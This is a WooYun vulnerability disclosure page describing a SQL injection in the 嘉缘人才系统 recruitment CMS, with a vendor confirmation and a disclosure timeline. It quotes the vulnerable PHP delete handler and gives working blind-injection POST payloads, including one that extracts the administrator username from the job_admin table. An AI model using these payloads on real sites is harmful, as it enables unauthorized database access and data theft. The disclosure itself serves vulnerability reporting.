当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(3) 关注此漏洞

缺陷编号： WooYun-2014-66712

漏洞标题： 嘉缘人才系统SQL注入漏洞

相关厂商： finereason.com

漏洞作者： My5t3ry

提交时间： 2014-08-15 13:49

公开时间： 2014-11-13 13:50

漏洞类型： SQL注射漏洞

危害等级： 高

自评Rank： 20

漏洞状态： 厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 help@wooyun.org

Tags标签： sql注射漏洞利用技巧

2人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-08-15： 细节已通知厂商并且等待厂商处理中
2014-08-15： 厂商已经确认，细节仅向厂商公开
2014-08-18： 细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航、无声信息）
2014-10-09： 细节向核心白帽子及相关领域专家公开
2014-10-19： 细节向普通白帽子公开
2014-10-29： 细节向实习白帽子公开
2014-11-13： 细节向公众公开

简要描述：

嘉缘人才系统V2014版20140521 最新版SQL一枚。 这个用户量比phpyun还多，不知道会不会上首页？

详细说明：

漏洞位于/member/person_rbrower.php 6 - 15行，代码如下：



code 区域
defined('IN_FR') or exit('Access Denied');


if($user_type!='pmember'){


	echo "<script>alert('您好，您不是个人会员不能操作此功能！');location.href='javascript:history.back()';</script>";


	exit;


	}


if($do=='del'){


	$checks=$_POST['checks'];


    $db ->query("delete from {$cfg['tb_pre']}rbrower where r_bmember='$username' and r_type=1 and r_id in ($checks)");


	showmsg('删除成功！',"?m=person_rbrower&show=$show",0,2000);exit();


}else{





其中的$checks未经过滤带入SQL，导致注入。

漏洞证明：

下面来测试，使用hackbar插件，如图1

1.jpg



url为：

**.**.**.**/frcmsnew/member/index.php?m=person_rbrower&do=del



POST数据为：

checks=1) or @`'` or r_id=if((1=1),9999,(select 1 from information_schema.tables))%23@`'`



查询为真，页面返回正常



继续提交



checks=1) or @`'` or r_id=if((1=2),9999,(select 1 from information_schema.tables))%23@`'`



如图2，查询为假，页面报错。

2.jpg







把其中的1=1替换为我们的注射语句就行了，如查询管理员用户名的第一个字符是否为a：

checks=1) or @`'` or r_id=if((ascii(substring((select a_user from job_admin limit 0,1),1,1))=97),9999,(select 1 from information_schema.tables))%23@`'`

修复方案：

过滤。。。

版权声明：转载请注明来源 My5t3ry@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2014-08-15 14:16

厂商回复：

漏洞确认存在，感谢提交，我们会尽快发布更新补丁。

最新状态：

暂无

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-07-02 16:43 | 乐乐、 ( 普通白帽子 | Rank:868 漏洞数:189 )
    0

    恭喜楼主 上首页了

    1# 回复此人
  2. 2014-07-02 17:54 | My5t3ry ( 实习白帽子 | Rank:35 漏洞数:14 )
    0

    @乐乐、 没上吧。

    2# 回复此人

登录后才能发表评论，请先 登录 。